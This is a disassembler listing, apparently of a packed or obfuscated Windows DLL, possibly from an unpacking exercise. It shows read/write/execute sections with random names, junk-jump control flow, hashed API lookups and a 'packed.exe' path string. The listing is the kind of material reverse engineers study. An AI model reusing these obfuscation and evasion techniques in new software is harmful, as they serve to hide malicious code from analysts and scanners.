1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_10003720 dd 10004048h ; DATA XREF: sub_10001072+Bw ; sub_10001072+1Dr dword_10003724 dd 10004058h ; DATA XREF: sub_10001072+18w ; sub_10001072+2Fr dword_10003728 dd 10004058h ; DATA XREF: sub_10001072+3Aw ; sub_10001072+45r ... dword_1000372C dd 820000h ; DATA XREF: .text:1000100Ar ; sub_10001072+81w ... dword_10003730 dd 0C410h ; DATA XREF: sub_10001072+2Aw ; sub_10001072+3Fr ... dword_10003734 dd 1D400h ; DATA XREF: sub_10001072+68w ; sub_10001072+74r ... dword_10003738 dd 8200F0h ; DATA XREF: sub_10001140+9w ; sub_10001140+2Fr ... dword_1000373C dd 1000h ; DATA XREF: sub_10001140+12w ; sub_10001140+3Ar ... dword_10003740 dd 3 ; DATA XREF: sub_10001140+1Bw ; sub_10001140:loc_100011B1r ... dword_10003744 dd 8201E8h ; DATA XREF: sub_10001140+29w ; sub_10001140+6Br ... dword_10003748 dd 8200F0h ; DATA XREF: sub_10001202+9w ; sub_10001202+3Fr dd 2 dup(0) dword_10003754 dd 20000h ; DATA XREF: sub_10001202+17w ; sub_10001202+23r ... dword_10003758 dd 840000h ; DATA XREF: sub_10001202+30w ; sub_10001202+35r ... dword_1000375C dd 860000h ; DATA XREF: sub_10001202+3Aw ; sub_10001202+8Fr ... dword_10003760 dd 400h ; DATA XREF: sub_10001202+48w ; sub_10001202+6Dr ... dword_10003764 dd 8201E8h ; DATA XREF: sub_10001202+56w dword_10003768 dd 6000h ; DATA XREF: sub_10001202+D7w ; sub_10001202+E4w ... dword_1000376C dd 10000000h ; DATA XREF: sub_10001202+18Fo dword_10003770 dd 20000h ; DATA XREF: sub_10001140+47w ; sub_10001140+60w ... dword_10003774 dd 6C75h ; DATA XREF: sub_1000101C+5w ; sub_1000101C+2Cr dword_10003778 dd 6CE3h ; DATA XREF: sub_1000101C+16w ; sub_1000101C+31r dword_1000377C dd 6D50h ; DATA XREF: sub_1000101C+27w ; sub_1000101C+39r aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_10001202+13Ao ; sub_10001202+15Co align 1000h _data ends ; Section 5. (virtual address 00011000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00011000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute T0R0 segment para public 'CODE' use32 assume cs:T0R0 ;org 10011000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 61619060h, 45F07F80h, 850F6090h, 0FF1F8B1Bh, 100068h dd 1000B810h, 3D901000h, 10001A00h, 30800674h, 0F3EB407Ch dd 3000B8h, 3D9010h, 74100038h, 0F4308006h, 0C3F3EB40h dd 3F1h dup(0) T0R0 ends ; Section 6. (virtual address 00012000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00012000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _5zd9bm4t segment para public 'DATA' use32 assume cs:_5zd9bm4t ;org 10012000h dword_10012000 dd 120CCh, 0 ; DATA XREF: sub_10029851+9o dd 0FFFFFFFFh, 1203Ch, 120B4h, 12108h, 0 dd 0FFFFFFFFh, 120E8h, 12104h, 5 dup(0) aKernel32_dll db 'kernel32.dll',0 align 4 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dd 77E79F93h, 77E805D8h, 77E7A5FDh, 77E75CB5h, 77E7980Ah dd 77E79E34h, 1204Ch, 12060h, 12070h, 12084h, 12094h, 120A4h dd 0 aUser32_dll db 'user32.dll',0 align 4 dd 654D0000h, 67617373h, 786F4265h, 41h, 77D6ADD7h, 120F4h dd 3BDh dup(0) _5zd9bm4t ends ; --------------------------------------------------------------------------- ; Section 7. (virtual address 00013000) ; Virtual size : 0000B000 ( 45056.) ; Section size in file : 0000B000 ( 45056.) ; Offset to raw data for section: 00013000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute an_kk9rg segment para public 'CODE' use32 assume cs:an_kk9rg ;org 10013000h ; START OF FUNCTION CHUNK FOR sub_1001B20F assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing loc_10013000: ; CODE XREF: sub_1001B20F:loc_1001A844j mov esp, ebp pop ebp push ds:dword_1001BC9C retn ; END OF FUNCTION CHUNK FOR sub_1001B20F ; --------------------------------------------------------------------------- loc_1001300A: ; CODE XREF: an.kk9rg:1001C1B2j xchg eax, esi sbb ebp, 55E47862h and edi, eax jmp loc_1001D9D6 ; --------------------------------------------------------------------------- loc_10013019: ; CODE XREF: an.kk9rg:1001A292j mov eax, 0C42EC41Eh call sub_100181E1 mov ds:dword_1000202C, eax lea eax, nullsub_195 mov byte ptr [eax], 0C3h jmp loc_100136C3 ; --------------------------------------------------------------------------- loc_10013037: ; CODE XREF: an.kk9rg:10019534j cmp al, 0A4h jz loc_1001468E jmp loc_10016B3A ; =============== S U B R O U T I N E ======================================= sub_10013044 proc near ; CODE XREF: an.kk9rg:1001628Ej ; sub_10016D66+65E3p ; FUNCTION CHUNK AT 100137BD SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10015939 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016E64 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017ADD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 10017DA2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C3ED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C572 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001C67A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CC77 SIZE 00000007 BYTES xchg ecx, [esp+0] pop ecx push 567562F2h pop eax and eax, 5E6F09B9h add eax, 0C00339A8h add eax, ebp jmp loc_10015939 sub_10013044 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10013061 proc near ; DATA XREF: sub_1001A54C:loc_10015E53o ; FUNCTION CHUNK AT 100136EC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10013836 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100149E1 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 10014F29 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10016642 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001728E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017492 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 100175F5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100194B8 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 10019E8A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A2E9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001AA7F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C860 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C9C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CCED SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001D72F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001DEF5 SIZE 00000005 BYTES push 6F70654Ah pop eax or eax, 90AAF674h rol eax, 4 xor eax, 0C87B10E2h add eax, ebp add eax, 0C82B98EFh mov eax, [eax] jmp loc_1001728E sub_10013061 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_73. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_10013086: ; CODE XREF: sub_1001C799-1BFFj jmp loc_10013409 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001308B: ; CODE XREF: sub_1001CF40-5603j jmp loc_1001918C ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10013090: ; CODE XREF: sub_10016734:loc_10016003j jmp nullsub_83 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- adc esi, edi jmp loc_10016767 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001309C: ; CODE XREF: sub_10015B5D:loc_1001D060j jnz loc_10014874 jmp loc_10017175 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_100130A8: ; CODE XREF: sub_10017A58:loc_1001883Aj ; sub_10016734+5122j jmp loc_10018185 ; END OF FUNCTION CHUNK FOR sub_10016734 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_100130AE: ; CODE XREF: an.kk9rg:1001A337j jo loc_10014CA4 sbb edx, esi loc_100130B6: ; CODE XREF: an.kk9rg:loc_10016D5Bj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001C7F3 jmp loc_1001BB94 ; =============== S U B R O U T I N E ======================================= sub_100130C7 proc near ; CODE XREF: an.kk9rg:10015025j ; sub_10015945+7067p ; FUNCTION CHUNK AT 100161D7 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10017747 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001774E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10017C79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100181B0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100184F4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10019720 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A0EC SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001D043 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001D48F SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov eax, [ebp-4] mov [ebp-0Ch], eax shl dword ptr [ebp-8], 8 jmp loc_100161D7 sub_100130C7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015945 loc_100130DA: ; CODE XREF: sub_10015945:loc_1001C99Aj call sub_10015945 loc_100130DF: ; CODE XREF: an.kk9rg:100167CEj jmp loc_1001D55E ; END OF FUNCTION CHUNK FOR sub_10015945 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100130E4: ; CODE XREF: sub_10013389+E55j jmp loc_1001789E ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- rol eax, 12h push offset loc_1001D2BA jmp locret_1001AA4C ; --------------------------------------------------------------------------- test ebx, 7A9FA7Fh jmp loc_1001568A ; --------------------------------------------------------------------------- adc ecx, edx jmp sub_1001B413 ; --------------------------------------------------------------------------- loc_10013108: ; CODE XREF: an.kk9rg:1001CF3Bj call sub_10014DD9 mov eax, 9E849D81h call sub_100181E1 mov ds:dword_10002020, eax lea eax, nullsub_196 jmp loc_10015397 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_10013128: ; CODE XREF: sub_100181E1:loc_1001666Ej jz loc_10015DEB jmp loc_10017EEE ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_10013133: ; CODE XREF: sub_10018AB1:loc_1001C15Dj call sub_1001534D push eax call sub_1001533A loc_1001313E: ; CODE XREF: sub_100188EE-4244j jmp nullsub_90 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_10013143: ; CODE XREF: sub_100175DE:loc_1001838Dj push dword ptr [ebp+8] call eax push esi mov esi, ecx jmp loc_1001CD9D ; END OF FUNCTION CHUNK FOR sub_100175DE ; =============== S U B R O U T I N E ======================================= sub_10013150 proc near ; CODE XREF: an.kk9rg:1001BBD5j ; sub_10015A60+7DB2p xchg esi, [esp+0] pop esi mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz loc_1001436E sub_10013150 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10013161: ; CODE XREF: sub_10015B5D-17F5j ; sub_100142E8+37A0j jnb loc_1001ABCF cmp dword ptr [ebp-1Ch], 66h jnz loc_1001D843 jmp loc_10018835 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_10013176: ; CODE XREF: sub_10016451:loc_10014B7Bj push eax push edx push 0DE514223h pop edx or edx, 0A82B44D5h sub edx, 5A10E442h rol edx, 1Dh sub edx, 0AA838Ah jmp loc_10015A3B ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C87 loc_10013198: ; CODE XREF: sub_10019C87+11j push eax mov edx, eax jmp loc_1001C0B6 ; END OF FUNCTION CHUNK FOR sub_10019C87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100181E1 loc_100131A0: ; CODE XREF: sub_100181E1j mov edx, ds:dword_100180DC or edx, edx jnz loc_1001A7D4 jmp loc_1001666E ; END OF FUNCTION CHUNK FOR sub_100181E1 ; --------------------------------------------------------------------------- push esi jmp sub_10019CD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100131B9: ; CODE XREF: sub_1001B5A3-824Fj jz loc_10016F60 jmp loc_1001ADF1 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_100131C4: ; CODE XREF: sub_10013BB8+94AEj xchg ecx, ebx mov ebx, [ecx] rol ebp, 4 loc_100131CB: ; CODE XREF: sub_10013BB8:loc_10013977j push 0E033C43Dh pop eax jmp loc_1001C7CB ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016C77 loc_100131D6: ; CODE XREF: sub_10016C77+16j xor ebx, 0FB2BCABDh add ebx, ebp add ebx, 0FBE8CCB4h mov [ebx], eax pop ebx push eax pushf push 33F06495h jmp loc_1001C3F7 ; END OF FUNCTION CHUNK FOR sub_10016C77 ; --------------------------------------------------------------------------- xchg eax, ebp jmp loc_1001D575 ; --------------------------------------------------------------------------- mov ebp, ebx and ebp, 6439FD8Fh jmp sub_1001828B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10013207: ; CODE XREF: sub_10016D66+33C4j mov edx, 70636624h jmp loc_1001468E ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_10013211: ; CODE XREF: an.kk9rg:1001637Dj push ebp mov ebp, esp push ecx mov [ebp-4], eax jmp loc_1001D03E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001321D: ; CODE XREF: sub_10016D66:loc_10014DBEj ; sub_10018C4D+404Ej mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] jmp loc_10013FD9 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001322E: ; CODE XREF: sub_100193F2:loc_10016775j jnz loc_10014AFA mov ecx, [ebx+edx-4] or ecx, ecx jz loc_1001D07F mov ebx, [ebx+ecx] jmp loc_1001ACCE ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D9A7 loc_10013248: ; CODE XREF: sub_1001D9A7-7C37j js loc_1001791F mov edx, [edi] jmp loc_1001D928 ; END OF FUNCTION CHUNK FOR sub_1001D9A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10013255: ; CODE XREF: sub_10019E2E-4E65j sub al, 99h push 39B07392h pop edx add edx, ds:100000C0h and edx, 576270EBh xor edx, 8C0DCCDBh jmp loc_10018498 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_10013274: ; CODE XREF: sub_10015B1B+1CAj jl loc_1001525C push esi jmp loc_10015B92 ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- loc_10013280: ; CODE XREF: an.kk9rg:1001A1A2j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10015B92 jmp loc_10014A54 ; --------------------------------------------------------------------------- test edi, ebp jmp loc_1001DE42 ; --------------------------------------------------------------------------- loc_1001329B: ; CODE XREF: an.kk9rg:1001B3A8j rol ecx, 19h xor ecx, 5C988CF9h jns loc_1001C5BE sub edi, 8500666Ch jmp loc_1001C30B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_100132B5: ; CODE XREF: sub_100174F4-1F53j ; an.kk9rg:loc_1001CE91j lea eax, [ebp+var_14] push eax call sub_10018CA1 push ecx push 1904A022h pop ecx loc_100132C5: ; CODE XREF: sub_10016D66+192Fj or ecx, 5B336287h jmp loc_1001803C ; END OF FUNCTION CHUNK FOR sub_100174F4 ; --------------------------------------------------------------------------- locret_100132D0: ; CODE XREF: an.kk9rg:loc_1001B735j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C76 loc_100132D1: ; CODE XREF: sub_10018C76+57Ej jmp nullsub_43 ; END OF FUNCTION CHUNK FOR sub_10018C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_100132D6: ; CODE XREF: sub_10015E0D-27DFj mov ebp, edx jmp loc_1001C669 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100132DD: ; CODE XREF: sub_10019409-5E23j ; sub_10019409-4D10j ... jmp loc_10014158 ; --------------------------------------------------------------------------- loc_100132E2: ; CODE XREF: sub_10019409-5296j ; sub_1001A2CC:loc_1001C0BBj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_100132E5 proc near ; CODE XREF: an.kk9rg:1001647Cp ; sub_10016A1B:loc_1001A72Dj ; FUNCTION CHUNK AT 10014075 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015C2C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10015C5D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10015FFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100164D4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001A185 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001B52B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001DA82 SIZE 00000005 BYTES push ebp jmp loc_1001A185 sub_100132E5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_100132EB: ; CODE XREF: an.kk9rg:1001AE5Fj retn ; --------------------------------------------------------------------------- loc_100132EC: ; CODE XREF: an.kk9rg:10014DB3j jmp loc_10018556 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_100132F1: ; CODE XREF: sub_1001B5A3-7392j rol ebx, 0Ch pop ebx jg loc_10018AF6 jmp loc_100151C3 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- push ebx mov ebx, eax xchg ebx, [esp] ror eax, 0Ah mov ds:dword_1001819C, eax retn ; =============== S U B R O U T I N E ======================================= sub_10013310 proc near ; CODE XREF: sub_10013688:loc_100154C8p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10014C81 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10015CA1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10017151 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AC88 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 1001B583 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001B870 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001BC36 SIZE 0000000F BYTES push ecx jmp loc_1001BC36 sub_10013310 endp ; --------------------------------------------------------------------------- loc_10013316: ; CODE XREF: an.kk9rg:loc_10017EC5j add ebx, ebp add ebx, 28C99563h mov [ebx], eax xchg esi, [esp] mov ebx, esi pop esi mov eax, [ebp-4] jmp loc_10017DD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001332E: ; CODE XREF: sub_10019409:loc_10016EBDj xor eax, 0FC805E0Ah add eax, 271CEA9Eh rol eax, 1Fh and eax, 9A52FFFEh cmp eax, 5E9C8834h jmp loc_100149BA ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001334E: ; CODE XREF: sub_1001B5A3:loc_1001C491j jnz loc_10016F65 jmp loc_100131B9 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10013359 proc near ; CODE XREF: sub_100182D9j var_8 = dword ptr -8 var_1 = byte ptr -1 ; FUNCTION CHUNK AT 1001703B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001A9BC SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_1], al cmp [ebp+var_1], 0 jmp loc_1001A9BC sub_10013359 endp ; --------------------------------------------------------------------------- push ecx call sub_1001B692 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10013372 proc near ; CODE XREF: sub_10017A58-225Fp ; sub_1001DD1D+13p ; FUNCTION CHUNK AT 100148EA SIZE 00000005 BYTES push ebp mov ebp, esp push ecx jmp loc_100148EA sub_10013372 endp ; --------------------------------------------------------------------------- loc_1001337B: ; CODE XREF: an.kk9rg:10018BDFj mov eax, [esp] push ebp mov ebp, edx xchg ebp, [esp] jmp loc_1001B11F ; =============== S U B R O U T I N E ======================================= sub_10013389 proc near ; CODE XREF: sub_100142CF:loc_10014BC8p ; an.kk9rg:100173E9j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 100130E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013667 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013814 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001387F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001396C SIZE 00000003 BYTES ; FUNCTION CHUNK AT 10013B95 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100141D8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100142BA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001431D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 100145CD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10014600 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001464E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100146DC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10014885 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 100148B9 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 10014B2F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001508F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 100150DB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100151A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100151F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015240 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 100152E7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001547A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001551C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001569E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015905 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10015B9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015CA8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 100162F8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10016388 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10016467 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 100164F3 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10016509 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100165C3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016782 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10016C09 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10016DD0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016DF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10016FDE SIZE 0000001E BYTES ; FUNCTION CHUNK AT 1001707C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100170FC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001717F SIZE 0000002D BYTES ; FUNCTION CHUNK AT 100171D4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100172EA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001735F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017583 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100175A1 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 10017606 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001768D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017701 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10017776 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001789E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10017912 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10017A94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017AC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017C24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017D9D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017DCD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 10017E0A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10017FAD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017FE0 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 1001825E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10018273 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100182BC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 100184CB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100185FC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100186C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100187DF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100188CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100189B9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 10018AA1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10018C2A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018D34 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001933E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10019367 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100193BC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001967E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019690 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001991D SIZE 00000021 BYTES ; FUNCTION CHUNK AT 10019998 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10019BD4 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10019C7A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10019D94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A2A2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001A6BB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001A779 SIZE 00000005 